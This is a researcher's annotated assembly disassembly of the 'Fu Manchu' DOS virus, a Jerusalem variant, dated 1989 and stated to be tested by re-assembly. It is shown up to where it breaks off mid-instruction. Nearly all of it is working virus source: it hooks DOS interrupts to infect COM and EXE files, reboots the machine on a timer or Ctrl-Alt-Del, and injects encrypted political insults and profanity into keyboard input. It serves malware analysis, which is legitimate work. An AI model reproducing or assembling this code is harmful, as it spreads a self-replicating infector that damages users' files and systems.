page 65,132 title The 'Fu Manchu' Virus ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º British Computer Virus Research Centre º ; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º ; º Telephone: Domestic 0273-26105, International +44-273-26105 º ; º º ; º The 'Fu Manchu' Virus º ; º Disassembled by Joe Hirst, June 1989 º ; º º ; º Copyright (c) Joe Hirst 1989. º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The virus occurs attached to the beginning of a COM file, or the end ; of an EXE file. A COM file also has the six-byte 'marker' attached ; to the end. ; This virus is a variation of the Jerusalem virus ; The disassembly has been tested by re-assembly using MASM 5.0. RAM SEGMENT AT 0 ; System data ORG 3FCH BW03FC DW ? BB03FE DB ? ORG 417H BB0417 DB ? ; Key states ORG 46CH BB046C DB ? ; System clock - low byte ORG 2CH ENV_SG DW ? ; Segment address of environment RAM ENDS RAM40 SEGMENT at 400H ORG 1AH BW041A DW ? ; Key token in pointer BW041C DW ? ; Key token out pointer ORG 80H BW0480 DW ? ; Key token buffer start pointer BW0482 DW ? ; Key token buffer end pointer RAM40 ENDS CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:NOTHING,ES:RAM ; Entry point when attached to a COM file START: JMP BP0010 DB 'sAX' VR_SIG DB 'rEMHOr' VIR_RT EQU THIS DWORD V_RTOF DW 100H V_RTSG DW 323FH INT_08 EQU THIS DWORD I08OFF DW 0106H ; Int 8 offset I08SEG DW 0E95H ; Int 8 segment INT_09 EQU THIS DWORD I09OFF DW 02E9H ; Int 9 offset I09SEG DW 0DC6H ; Int 9 segment INT_16 EQU THIS DWORD I16OFF DW 0 ; Int 16H offset I16SEG DW 0 ; Int 16H segment INT_21 EQU THIS DWORD I21OFF DW 138DH ; Int 21H offset I21SEG DW 029BH ; Int 21H segment INT_24 EQU THIS DWORD I24OFF DW 04EBH ; Int 24H offset I24SEG DW 3228H ; Int 24H segment BEGIN DW 0 ; Initial value for AX F_SIZE DW 49H ; Total file size TCOUNT1 DW 0 ; Timer count (low) TCOUNT2 DW 0 ; Timer count (high) ST_ES1 DW 3195H ; Original ES SET_PA DW 00A2H ; Program parameter block PPB_01 DW 0 ; Environment address PPB_02 DW 0080H ; Command line offset PPB_03 DW 3195H ; Command line segment PPB_04 DW 005CH ; FCB1 offset PPB_05 DW 3195H ; FCB1 segment PPB_06 DW 006CH ; FCB2 offset PPB_07 DW 3195H ; FCB2 segment PRG_SP DW 0 ; Initial stack pointer store PRG_SS DW 31A5H ; Initial stack segment store PROGRM EQU THIS DWORD PRGOFF DW 0 ; Initial code offset store PRGSEG DW 31A5H ; Initial code segment store SS_ST1 DW 0 ; Store for system area data (1) SS_ST2 DB 86H ; Store for system area data (2) ; .EXE header store EXEHED DB 4DH, 5AH ; 00 .EXE header ident EXHD01 DW 0070H ; 02 Bytes in last page EXHD02 DW 0006H ; 04 Size of file in pages EXHD03 DW 0000H ; 06 Number of relocation entries EXHD04 DW 0020H ; 08 Size of header in paragraphs EXHD05 DW 0000H ; 0A Minimum extra storage required EXHD06 DW -1 ; 0C Maximum extra storage required EXHD07 DW 0005H ; 0E Initial stack segment EXHD08 DW ENDADR ; 10 Initial stack pointer EXHD09 DW 1988H ; 12 Negative checksum EXHD10 DW 0223H ; 14 Initial code offset EXHD11 DW 0005H ; 16 Initial code segment DW 01EH ; 18 Relative offset of reloc table DW 0 ; 1A Overlay number SIGBUF DB 069H, 06FH, 06EH, 00DH, 00AH, 024H F_HAND DW 5 ; File handle F_ATTS DW 0020H ; File attributes F_DATE DW 1273H ; File date F_TIME DW 4972H ; File time F_SIZ1 DW 0250H ; Low-order file size F_SIZ2 DW 0 ; High-order file size F_PATH EQU THIS DWORD FPTHOF DW 3D5BH ; Program pathname offset FPTHSG DW 9B70H ; Program pathname segment COM_CM DB 'COMMAND.COM' EXE_SW DB 0 ; EXE switch - 0 = .COM extension MEM_SW DW 1 ; Memory allocated switch OUT_SW DB 0 ; Output in progress switch BYTSEC DW 0200H ; Bytes per sector PARAGR DW 0010H ; Size of a paragraph ; The next fields are encrypted, and translate to: ;STRNG1 DB 'fu manchu virus 3/10/88 - latest in the new fun line!', 0 ;STRNG2 DB 'thatcher is a cunt ', 0 ;STRNG3 DB 'reagan is an arsehole ', 0 ;STRNG4 DB 'botha is a bastard ', 0 ;STRNG5 DB 'waldheim is a Nazi ', 0 ;STRNG6 DB 'fuck', 8, 8, 8, 8, 0 ;STRNG7 DB 'cunt', 8, 8, 8, 8, 0 ;STRNG8 DB 'The world will hear from me again! ', 0 STRNG1 DB 0C9H, 0DAH, 08FH, 0C2H, 0CEH, 0C1H, 0CCH, 0C7H DB 0DAH, 08FH, 0D9H, 0C6H, 0DDH, 0DAH, 0DCH, 08FH DB 09CH, 080H, 09EH, 09FH, 080H, 097H, 097H, 08FH DB 082H, 08FH, 0C3H, 0CEH, 0DBH, 0CAH, 0DCH, 0DBH DB 08FH, 0C6H, 0C1H, 08FH, 0DBH, 0C7H, 0CAH, 08FH DB 0C1H, 0CAH, 0D8H, 08FH, 0C9H, 0DAH, 0C1H, 08FH DB 0C3H, 0C6H, 0C1H, 0CAH, 08EH, 0 STRNG2 DB 0DBH, 0C7H, 0CEH, 0DBH, 0CCH, 0C7H, 0CAH, 0DDH DB 08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0CCH, 0DAH DB 0C1H, 0DBH, 08FH, 0 STRNG3 DB 0DDH, 0CAH, 0CEH, 0C8H, 0CEH, 0C1H, 08FH, 0C6H DB 0DCH, 08FH, 0CEH, 0C1H, 08FH, 0CEH, 0DDH, 0DCH DB 0CAH, 0C7H, 0C0H, 0C3H, 0CAH, 08FH, 0 STRNG4 DB 0CDH, 0C0H, 0DBH, 0C7H, 0CEH, 08FH, 0C6H, 0DCH DB 08FH, 0CEH, 08FH, 0CDH, 0CEH, 0DCH, 0DBH, 0CEH DB 0DDH, 0CBH, 08FH, 0 STRNG5 DB 0D8H, 0CEH, 0C3H, 0CBH, 0C7H, 0CAH, 0C6H, 0C2H DB 08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0E1H, 0CEH DB 0D5H, 0C6H, 08FH, 0 STRNG6 DB 0C9H, 0DAH, 0CCH, 0C4H, 0A7H, 0A7H, 0A7H, 0A7H, 0 STRNG7 DB 0CCH, 0DAH, 0C1H, 0DBH, 0A7H, 0A7H, 0A7H, 0A7H, 0 STRNG8 DB 0FBH, 0C7H, 0CAH, 08FH, 0D8H, 0C0H, 0DDH, 0C3H DB 0CBH, 08FH, 0D8H, 0C6H, 0C3H, 0C3H, 08FH, 0C7H DB 0CAH, 0CEH, 0DDH, 08FH, 0C9H, 0DDH, 0C0H, 0C2H DB 08FH, 0C2H, 0CAH, 08FH, 0CEH, 0C8H, 0CEH, 0C6H DB 0C1H, 08EH, 08FH, 08FH, 08FH, 0 ; Each entry is: ; DB length to find ; DB length found ; DW pointer to string TABLE DB 10, 0 DW STRNG1 DB 9, 0 DW STRNG2 DB 7, 0 DW STRNG3 DB 6, 0 DW STRNG4 DB 9, 0 DW STRNG5 DB 4, 0 DW STRNG6 DB 4, 0 DW STRNG7 DB 0 TABOUT DW 0 ; Table entry for output ; Key number table for fake input KEYTAB DB 03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H ; 00 - 07 DB 0EH, 0FH, 1CH, 25H, 26H, 1CH, 31H, 18H ; 08 - 0F DB 19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H ; 10 - 17 DB 2DH, 15H, 2CH, 01H, 2BH, 1BH, 07H, 0CH ; 18 - 1F DB 39H, 02H, 28H, 04H, 05H, 06H, 08H, 28H ; 20 - 27 DB 0AH, 0BH, 09H, 0DH, 33H, 0CH, 34H, 35H ; 28 - 2F DB 0BH, 02H, 03H, 04H, 05H, 06H, 07H, 08H ; 30 - 37 DB 09H, 0AH, 27H, 27H, 33H, 0DH, 34H, 35H ; 38 - 3F DB 03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H ; 40 - 47 DB 23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H ; 48 - 4F DB 19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H ; 50 - 57 DB 2DH, 15H, 2CH, 1AH, 2BH, 1BH, 07H, 0CH ; 58 - 5F DB 29H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H ; 60 - 67 DB 23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H ; 68 - 6F DB 19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H ; 70 - 77 DB 2DH, 15H, 2CH, 1AH, 2BH, 1BH, 29H, 0EH ; 78 - 7F ; This section assumes a COM origin of 100H BP0010: CLD MOV AH,0E1H ; Virus "are you there" call INT 21H ; DOS service (Virus - 1) CMP AH,0E1H ; Test for unchanged JNB BP0020 ; Branch if invalid reply CMP AH,4 ; Test for standard "yes" JB BP0020 ; Branch if non-standard MOV AH,0DDH ; Replace program over virus MOV DI,0100H ; Initial offset MOV SI,OFFSET ENDADR ; Length of virus ADD SI,DI ; Add initial offset MOV CX,F_SIZE[DI] ; Get total filesize INT 21H ; DOS service (Virus - 2) ; Virus not in system, or non-communicating variety BP0020: MOV AX,CS ; Get current segment ADD AX,10H ; Address past PSP MOV PRG_SP,SP ; Save current value MOV SS,AX ; \ Set up stack MOV SP,OFFSET ENDADR+100H ; / PUSH AX ; Segment for return MOV AX,OFFSET BP0030 ; \ Offset for return PUSH AX ; / RETF ; "Return" to next instruction ; We now have an origin of zero ; Entry point when attached to an EXE file BP0030: CLD PUSH ES MOV ST_ES1,ES ; Save original ES MOV PPB_03,ES ; \ MOV PPB_05,ES ; ) Segments in PPB MOV PPB_07,ES ; / MOV AX,ES ; \ Segment relocation factor ADD AX,10H ; / ADD PRGSEG,AX ; Initial code segment store ADD PRG_SS,AX ; Initial stack segment store MOV AH,0E1H ; Virus "are you there" call INT 21H ; DOS service (Virus - 1) CMP AH,0E1H ; Test for unchanged JNB BP0040 ; Branch if not CMP AH,4 ; Test for standard "yes" POP ES MOV SS,PRG_SS ; Initial stack segment store MOV SP,PRG_SP ; Initial stack pointer store JMP PROGRM ; Start of actual program ; Virus is not already active BP0040: XOR AX,AX ; \ Address page zero MOV ES,AX ; / MOV AX,BW03FC ; \ Save system area data (1) MOV SS_ST1,AX ; / MOV AL,BB03FE ; \ Save system area data (2) MOV SS_ST2,AL ; / MOV BW03FC,0A4F3H ; Store REPZ MOVSB MOV BB03FE,0CBH ; Store RETF POP AX ; \ ADD AX,10H ; ) Address past PSP MOV ES,AX ; / PUSH CS ; \ Set DS to CS POP DS ; / MOV CX,OFFSET ENDADR ; Length of virus XOR SI,SI ; \ Clear registers MOV DI,SI ; / PUSH ES ; \ MOV AX,OFFSET BP0050 ; ) Set up return address PUSH AX ; / DB 0EAH ; \ Far jump to move instruction DW BW03FC, 0 ; / BP0050: MOV AX,CS ; \ MOV SS,AX ; ) Set up internal stack MOV SP,OFFSET ENDADR+100H ; / XOR AX,AX ; \ Address page zero MOV DS,AX ; / ASSUME DS:RAM,ES:NOTHING MOV AX,SS_ST1 ; \ Restore system area data (1) MOV BW03FC,AX ; / MOV AL,SS_ST2 ; \ Restore system area data (2) MOV BB03FE,AL ; / MOV BX,SP ; Get stack pointer MOV CL,4 ; \ Convert to paragraphs SHR BX,CL ; / ADD BX,10H ; Allow for PSP MOV SET_PA,BX ; Save number of paragraphs MOV ES,ST_ES1 ; Get original ES MOV AH,4AH ; Set block INT 21H ; DOS service (Set block) MOV AX,3521H ; Get interrupt 21H INT 21H ; DOS service (Get int) MOV I21OFF,BX ; Save interrupt 21H offset MOV I21SEG,ES ; Save interrupt 21H segment PUSH CS ; \ Set DS to CS POP DS ; / ASSUME DS:CODE MOV DX,OFFSET BP0170 ; Interrupt 21H routine MOV AX,2521H ; Set interrupt 21H INT 21H ; DOS service (Set int) MOV ES,ST_ES1 ; Get original ES ASSUME ES:RAM MOV ES,ES:ENV_SG ; Get environment segment XOR DI,DI ; Start of environment MOV CX,7FFFH ; Allow for 32K environment XOR AL,AL ; Search for zero BP0060: REPNZ SCASB ; Find zero CMP ES:[DI],AL ; Is following character zero LOOPNZ BP0060 ; Search again if not MOV DX,DI ; Save pointer ADD DX,3 ; Address pathname MOV AX,4B00H ; Load and execute program PUSH ES ; \ Set DS to ES POP DS ; / PUSH CS ; \ Set ES to CS POP ES ; / ASSUME DS:RAM,ES:NOTHING MOV BX,OFFSET PPB_01 ; PPB (for load and execute) PUSH DS PUSH ES PUSH AX PUSH BX PUSH CX PUSH DX PUSH CS ; \ Set DS to CS POP DS ; / ASSUME DS:CODE ; Install interrupt 9 routine MOV AX,3509H ; Get interrupt 9 INT 21H ; DOS service (Get int) MOV I09OFF,BX ; Save interrupt 9 offset MOV I09SEG,ES ; Save interrupt 9 segment MOV AX,2509H ; Set interrupt 9 MOV DX,OFFSET BP0150 ; Interrupt 9 routine INT 21H ; DOS service (Set int) MOV AH,2AH ; Get date INT 21H ; DOS service (Get date) CMP CX,07C5H ; Year = 1989 JL BP0070 ; Branch if before CMP DH,8 ; Month = August JL BP0070 ; Branch if before ; Install interrupt 16H routine MOV OUT_SW,0 ; Set off output switch MOV AX,3516H ; Get interrupt 16H INT 21H ; DOS service (Get int) MOV I16OFF,BX ; Save interrupt 16H offset MOV I16SEG,ES ; Save interrupt 16H segment MOV AX,2516H ; Set interrupt 16H MOV DX,OFFSET BP0540 ; Interrupt 16H routine INT 21H ; DOS service (Set int) BP0070: MOV BL,BB046C ; Get low byte of system clock MOV BH,BL ; Copy AND BX,0F00FH ; Isolate nibbles CMP BL,0 ; Is low nibble of clock zero? JNE BP0080 ; Branch if not MOV CL,4 ; Bits to move SHR BH,CL ; Move top nibble to bottom CMP BH,0 ; Is second nibble of clock zero? JE BP0080 ; Branch if yes XOR AX,AX ; Clear register MOV TCOUNT1,AX ; Set timer count (low) MOV AL,BH ; Get second nibble of system clock MOV TCOUNT2,AX ; Set timer count (high) ; Install interrupt 8 routine MOV AX,3508H ; Get interrupt 8 INT 21H ; DOS service (Get int) MOV I08OFF,BX ; Save interrupt 8 offset MOV I08SEG,ES ; Save interrupt 8 segment MOV AX,2508H ; Set interrupt 8 MOV DX,OFFSET BP0100 ; Interrupt 8 routine INT 21H ; DOS service (Set int) BP0080: POP DX POP CX POP BX POP AX POP ES POP DS ASSUME DS:NOTHING PUSHF ; Fake an interrupt CALL INT_21 ; Interrupt 21H (Load and execute) PUSH DS ; \ Set ES to DS POP ES ; / MOV AH,49H ; Free allocated memory INT 21H ; DOS service (Free memory) MOV AH,4DH ; Get return code of child process INT 21H ; DOS service (Get return code) MOV AH,31H ; Keep process MOV DX,OFFSET ENDADR ; Length of program MOV CL,4 ; \ Convert to paragraphs SHR DX,CL ; / ADD DX,10H ; Add length of PSP INT 21H ; DOS service (Keep process) ; Interrupt 24H BP0090: XOR AL,AL ; Ignore the error IRET ; Interrupt 8 BP0100: SUB TCOUNT1,1 ; \ Subtract from timer count SBB TCOUNT2,0 ; / JNZ BP0140 ; Branch if not zero CMP TCOUNT1,0 ; Is low count zero? JNZ BP0140 ; Branch if not BP0110: PUSH CS ; \ Set DS to CS POP DS ; / MOV AX,3 ; Mode three INT 10H ; VDU I/O MOV AH,2 ; Move cursor MOV BH,0 ; Page zero MOV DX,0A14H ; Row ten column twenty INT 10H ; VDU I/O MOV SI,OFFSET STRNG8 ; Address message BP0120: LOOP BP0120 ; Delay between characters LODSB ; Get a character CMP AL,0 ; Is that the end? JE BP0130 ; Branch if yes XOR AL,0AFH ; Decrypt character MOV AH,14 ; Write in TTY mode INT 10H ; VDU I/O JMP BP0120 ; Next character BP0130: DB 0EAH ; Far jump to BIOS initialisation DW 0FFF0H, 0F000H BP0140: JMP INT_08 ; Interrupt 8 ; Interrupt 9 ASSUME DS:RAM BP0150: PUSH AX PUSH BX PUSH DS XOR AX,AX ; \ Address zero MOV DS,AX ; / IN AL,60H ; Get keyboard token MOV BL,BB0417 ; Get key states TEST BL,8 ; Alt key depressed? JZ BP0160 ; Branch if not TEST BL,4 ; Ctrl key depressed? JZ BP0160 ; Branch if not CMP AL,53H ; Del character token? JNE BP0160 ; Branch if not AND BL,0F3H ; Set off Alt & Ctrl states MOV BB0417,BL ; Replace key states IN AL,61H ; Get Port B MOV AH,AL ; Save value OR AL,80H ; Set on keyboard reset bit OUT 61H,AL ; Output port B XCHG AL,AH ; Recover original Port B value OUT 61H,AL ; Output port B JMP BP0110 ; Message and reboot BP0160: POP DS POP BX POP AX JMP INT_09 ; Interrupt 9 ; Interrupt 21H BP0170: PUSHF CMP AH,0E1H ; Virus "are you there" call JNE BP0180 ; Branch if other call MOV AX,0400H ; Standard "yes" POPF IRET BP0180: CMP AH,0DDH ; Virus move and execute COM call JE BP0200 ; Branch if yes CMP AX,4B00H ; Is it load and execute JNE BP0190 ; Branch if not JMP BP0210 ; Process load and execute BP0190: POPF JMP INT_21 ; Interrupt 21H ; Move program down and execute (COM only) call ASSUME DS:NOTHING BP0200: POP AX POP AX ; Retrieve return offset MOV AX,100H ; Replace with start address MOV V_RTOF,AX ; Store in return jump POP AX ; Retrieve return segment MOV V_RTSG,AX ; Store in return jump REPZ MOVSB ; Restore program to beginning POPF MOV AX,BEGIN ; Start with zero register JMP VIR_RT ; Start actual program ; Process load and execute program BP0210: MOV F_HAND,-1 ; No file handle MOV MEM_SW,0 ; Set off memory allocated switch MOV FPTHOF,DX ; Save pathname offset MOV FPTHSG,DS ; Save pathname segment PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH DS PUSH ES CLD MOV DI,DX ; Point to file pathname XOR DL,DL ; Default drive CMP BYTE PTR [DI+1],3AH ; Test second character for ':' JNE BP0220 ; Branch if not MOV DL,[DI] ; Get drive letter AND DL,1FH ; Convert to number BP0220: MOV AH,36H ; Get disk free space INT 21H ; DOS service (Get disk free) CMP AX,-1 ; Test for invalid drive JNE BP0240 ; Branch if not BP0230: JMP BP0530 ; Terminate BP0240: MUL BX ; Calc number of free sectors MUL CX ; Calc number of free bytes OR DX,DX ; Test high word of result JNZ BP0250 ; Branch if not zero CMP AX,OFFSET ENDADR ; Length of virus JB BP0230 ; Terminate if less BP0250: MOV DX,FPTHOF ; Get pathname offset PUSH DS ; \ Set ES to DS POP ES ; / XOR AL,AL ; Test character - zero MOV CX,41H ; Maximum pathname length REPNZ SCASB ; Find end of pathname MOV SI,FPTHOF ; Get pathname offset BP0260: MOV AL,[SI] ; Get pathname character OR AL,AL ; Test for a character JZ BP0280 ; Finish if none CMP AL,61H ; Test for 'a' JB BP0270 ; Branch if less CMP AL,7AH ; Test for 'z' JA BP0270 ; Branch if above SUB BYTE PTR [SI],20H ; Convert to uppercase BP0270: INC SI ; Address next character JMP BP0260 ; Process next character BP0280: MOV CX,0BH ; Load length 11 SUB SI,CX ; Address back by length MOV DI,OFFSET COM_CM ; 'COMMAND.COM' PUSH CS ; \ Set ES to CS POP ES ; / MOV CX,0BH ; Load length again REPZ CMPSB ; Compare JNE BP0290 ; Continue if not command.com JMP BP0530 ; Terminate BP0290: MOV AX,4300H ; Get file attributes INT 21H ; DOS service (Get attributes) JB BP0300 ; Follow chain of error branches MOV F_ATTS,CX ; Save file attributes BP0300: JB BP0320 ; Follow chain of error branches XOR AL,AL ; Scan character - zero MOV EXE_SW,AL ; Set EXE switch off PUSH DS ; \ Set ES to DS POP ES ; / MOV DI,DX ; Pointer to pathname MOV CX,41H ; Maximum pathname length REPNZ SCASB ; Find end of pathname CMP BYTE PTR [DI-2],4DH ; Is last letter 'M' JE BP0310 ; Branch if yes CMP BYTE PTR [DI-2],6DH ; Is last letter 'm' JE BP0310 ; Branch if yes INC EXE_SW ; Set EXE switch on BP0310: MOV AX,3D00H ; Open handle, read only INT 21H ; DOS service (Open handle) BP0320: JB BP0330 ; Follow chain of error branches MOV F_HAND,AX ; Save file handle MOV BX,AX ; File handle CMP EXE_SW,0 ; Test EXE switch JE BP0340 ; Branch if off ; Test EXE file for infection MOV CX,1CH ; Length of EXE header MOV DX,OFFSET EXEHED ; .EXE header store MOV AX,CS ; \ MOV DS,AX ; ) Make DS & ES same as CS MOV ES,AX ; / ASSUME DS:CODE MOV AH,3FH ; Read handle INT 21H ; DOS service (Read handle) BP0330: JB BP0370 ; Follow chain of error branches CMP EXHD09,1988H ; Negative checksum JNE BP0360 ; Branch if not infected JMP BP0350 ; Dont infect ASSUME DS:NOTHING BP0340: MOV AX,4202H ; Move file pointer MOV CX,-1 ; \ End of file minus 6 MOV DX,-6 ; / INT 21H ; DOS service (Move pointer) JB BP0320 ; Follow chain of error branches ADD AX,6 ; Total file size MOV F_SIZE,AX ; Save total file size MOV CX,6 ; Length to read MOV DX,OFFSET SIGBUF ; Infection test buffer MOV AX,CS ; \ MOV DS,AX ; ) Make DS & ES same as CS MOV ES,AX ; / ASSUME DS:CODE MOV AH,3FH ; Read handle INT 21H ; DOS service (Read handle) MOV DI,DX ; Address test buffer MOV SI,OFFSET VR_SIG ; Signature REPZ CMPSB ; Compare signatures JNE BP0360 ; Branch if not infected BP0350: MOV AH,3EH ; Close handle INT 21H ; DOS service (Close handle) JMP BP0530 ; Terminate BP0360: MOV AX,3524H ; Get interrupt 24H INT 21H ; DOS service (Get int) MOV I24OFF,BX ; Save interrupt 24H offset MOV I24SEG,ES ; Save interrupt 24H segment MOV DX,OFFSET BP0090 ; Interrupt 24H routine MOV AX,2524H ; Set interrupt 24H INT 21H ; DOS service (Set int) LDS DX,F_PATH ; Address program pathname XOR CX,CX ; No attributes MOV AX,4301H ; Set file attributes INT 21H ; DOS service (Set attributes) ASSUME DS:NOTHING BP0370: JB BP0380 ; Follow chain of error branches MOV BX,F_HAND ; Get file handle MOV AH,3EH ; Close handle INT 21H ; DOS service (Close handle) MOV F_HAND,-1 ; No file handle MOV AX,3D02H ; Open handle read/write INT 21H ; DOS service (Open handle) JB BP0380 ; Follow chain of error branches MOV F_HAND,AX ; Save file handle MOV AX,CS ; \ MOV DS,AX ; ) Make DS & ES same as CS MOV ES,AX ; / ASSUME DS:CODE MOV BX,F_HAND ; Get file handle MOV AX,5700H ; Get file date and time INT 21H ; DOS service (Get file date) MOV F_DATE,DX ; Save file date MOV F_TIME,CX ; Save file time MOV AX,4200H ; Move file pointer XOR CX,CX ; \ Beginning of file MOV DX,CX ; / INT 21H ; DOS service (Move pointer) BP0380: JB BP0410 ; Follow chain of error branches CMP EXE_SW,0 ; Test EXE switch JE BP0390 ; Branch if off JMP BP0430 ; Process EXE file ; .COM file processing BP0390: MOV BX,1000H ; 64K of memory wanted MOV AH,48H ; Allocate memory INT 21H ; DOS service (Allocate memory) JNB BP0400 ; Branch if successful MOV AH,3EH ; Close handle MOV BX,F_HAND ; Get file handle INT 21H ; DOS service (Close handle) JMP BP0530 ; Terminate BP0400: INC MEM_SW ; Set on memory allocated switch MOV ES,AX ; Segment of allocated memory XOR SI,SI ; Start of virus MOV DI,SI ; Start of allocated memory MOV CX,OFFSET ENDADR ; Length of virus REPZ MOVSB ; Copy virus to allocated MOV DX,DI ; Address after virus MOV CX,F_SIZE ; Total file size MOV BX,F_HAND ; Get file handle PUSH ES ; \ Set DS to ES POP DS ; / MOV AH,3FH ; Read handle INT 21H ; DOS service (Read handle) BP0410: JB BP0420 ; Follow chain of error branches ADD DI,CX ; Add previous file size XOR CX,CX ; \ Beginning of file MOV DX,CX ; / MOV AX,4200H ; Move file pointer INT 21H ; DOS service (Move pointer) MOV SI,OFFSET VR_SIG ; Signature MOV CX,6 ; Length to move REPZ MOVS [DI],CS:VR_SIG ; Copy signature to end MOV CX,DI ; Length to write XOR DX,DX ; Start of allocated MOV AH,40H ; Write handle INT 21H ; DOS service (Write handle) BP0420: JB BP0440 ; Follow chain of error branches JMP BP0510 ; Free memory and reset values ; .EXE file processing BP0430: MOV CX,1CH ; Length of EXE header MOV DX,OFFSET EXEHED ; .EXE header store MOV AH,3FH ; Read handle INT 21H ; DOS service (Read handle) BP0440: JB BP0460 ; Follow chain of error branches MOV EXHD09,1988H ; Negative checksum MOV AX,EXHD07 ; \ Store initial stack segment MOV PRG_SS,AX ; / MOV AX,EXHD08 ; \ Store initial stack pointer MOV PRG_SP,AX ; / MOV AX,EXHD10 ; \ Store initial code offset MOV PRGOFF,AX ; / MOV AX,EXHD11 ; \ Store initial code segment MOV PRGSEG,AX ; / MOV AX,EXHD02 ; Get size of file in pages CMP EXHD01,0 ; Number of bytes in last page JE BP0450 ; Branch if none DEC AX ; One less page BP0450: MUL BYTSEC ; Bytes per sector ADD AX,EXHD01 ; \ Add bytes in last page ADC DX,0 ; / ADD AX,0FH ; \ Round up ADC DX,0 ; / AND AX,0FFF0H ; Clear bottom figure MOV F_SIZ1,AX ; Save low-order file size MOV F_SIZ2,DX ; Save high-order file size ADD AX,OFFSET ENDADR ; \ Add virus length ADC DX,0 ; / BP0460: JB BP0480 ; Follow chain of error branches DIV BYTSEC ; Bytes per sector OR DX,DX ; Test odd bytes JZ BP0470 ; Branch if none INC AX ; One more page for odd bytes BP0470: MOV EXHD02,AX ; Store size of file in pages MOV EXHD01,DX ; Store bytes in last page MOV AX,F_SIZ1 ; Low-order file size MOV DX,F_SIZ2 ; High-order file size DIV PARAGR ; Size of a paragraph SUB AX,EXHD04 ; Size of header in paragraphs MOV EXHD11,AX ; Initial code segment MOV EXHD10,OFFSET BP0030 ; Initial code offset MOV EXHD07,AX ; Initial stack segment MOV EXHD08,OFFSET ENDADR ; Initial stack pointer XOR CX,CX ; \ Beginning of file MOV DX,CX ; / MOV AX,4200H ; Move file pointer INT 21H ; DOS service (Move pointer) BP0480: JB BP0490 ; Follow chain of error branches MOV CX,1CH ; Length of EXE header MOV DX,OFFSET EXEHED ; .EXE header store MOV AH,40H ; Write handle INT 21H ; DOS service (Write handle) BP0490: JB BP0500 ; Follow chain of error branches CMP AX,CX ; Has same length been written JNE BP0510 ; Branch if not MOV DX,F_SIZ1 ; Low-order file size MOV CX,F_SIZ2 ; High-order file size MOV AX,4200H ; Move file pointer INT 21H ; DOS service (Move pointer) BP0500: JB BP0510 ; Follow chain of error branches XOR DX,DX ; Address beginning of virus MOV CX,OFFSET ENDADR ; Length of virus MOV AH,40H ; Write handle INT 21H ; DOS service (Write handle) ASSUME DS:NOTHING BP0510: CMP MEM_SW,0 ; Test memory allocated switch JE BP0520 ; Branch if off MOV AH,49H ; Free allocated memory INT 21H ; DOS service (Free memory) BP0520: CMP F_HAND,-1 ; Test file handle JE BP0530 ; Terminate if none MOV BX,F_HAND ; Get file handle MOV DX,F_DATE ; Get file date MOV CX,F_TIME ; Get file time MOV AX,5701H ; Set file date and time INT 21H ; DOS service (Set file date) MOV AH,3EH ; Close handle INT 21H ; DOS service (Close handle) LDS DX,F_PATH ; Address program pathname MOV CX,F_ATTS ; Load file attributes MOV AX,4301H ; Set file attributes INT 21H ; DOS service (Set attributes) LDS DX,INT_24 ; Original interrupt 24H address MOV AX,2524H ; Set interrupt 24H INT 21H ; DOS service (Set int) BP0530: POP ES POP DS POP DI POP SI POP DX POP CX POP BX POP AX POPF JMP INT_21 ; Interrupt 21H ; Interrupt 16H routine BP0540: PUSHF ; Fake an interrupt CMP AH,0 ; Get a token function? JE BP0550 ; Branch if yes POPF ; Fake interrupt not needed JMP INT_16 ; Pass on to original interrupt BP0550: CALL INT_16 ; Deal with original interrupt PUSH AX PUSH BX PUSH DI PUSH DS PUSH ES PUSH CS ; \ Set DS to CS POP DS ; / XOR BX,BX ; \ Set ES to zero MOV ES,BX ; / ASSUME DS:CODE,ES:RAM CMP OUT_SW,0 ; Is output switch on? JNE BP0630 ; Branch if yes OR AL,20H ; Convert to lower case XOR AL,0AFH ; Decrypt character MOV DI,OFFSET TABLE ; Address first entry BP0560: CMP BYTE PTR [DI],0 ; Is this the end of the table? JE BP0590 ; Branch if yes XOR BX,BX ; Clear register MOV BL,[DI+1] ; Get current character pointer ADD BX,[DI+2] ; Add current entry pointer CMP AL,[BX] ; Is character the one we want? JE BP0570 ; Branch if yes MOV BYTE PTR [DI+1],0 ; Clear character pointer JMP BP0580 BP0570: INC BYTE PTR [DI+1] BP0580: ADD DI,4 ; Next entry JMP BP0560 ; Process next entry BP0590: MOV DI,OFFSET TABLE ; Address first entry BP0600: CMP BYTE PTR [DI],0 ; Is this the end of the table? JE BP0610 ; Branch if yes MOV AL,[DI+1] ; Get current character pointer CMP AL,[DI] ; Do we have a complete match? JNE BP0620 ; Branch if not MOV TABOUT,DI ; Save relevant pointer INC OUT_SW ; Set on output switch MOV AX,40H ; \ Address RAM MOV ES,AX ; / ASSUME ES:RAM40 MOV AX,BW041A ; Get key token in pointer MOV BW041C,AX ; Set key token out pointer CALL BP0640 ; Put a character into the buffer BP0610: POP ES POP DS POP DI POP BX POP AX IRET BP0620: ADD DI,4 ; Next entry JMP BP0600 ; Process next entry BP0630: MOV AX,40H ; \ Address RAM MOV ES,AX ; / CALL BP0640 ; Put a character into the buffer XOR BX,BX ; Clear register MOV BL,[DI+1] ; Get current character pointer ADD BX,[DI+2] ; Add entry pointer CMP BYTE PTR 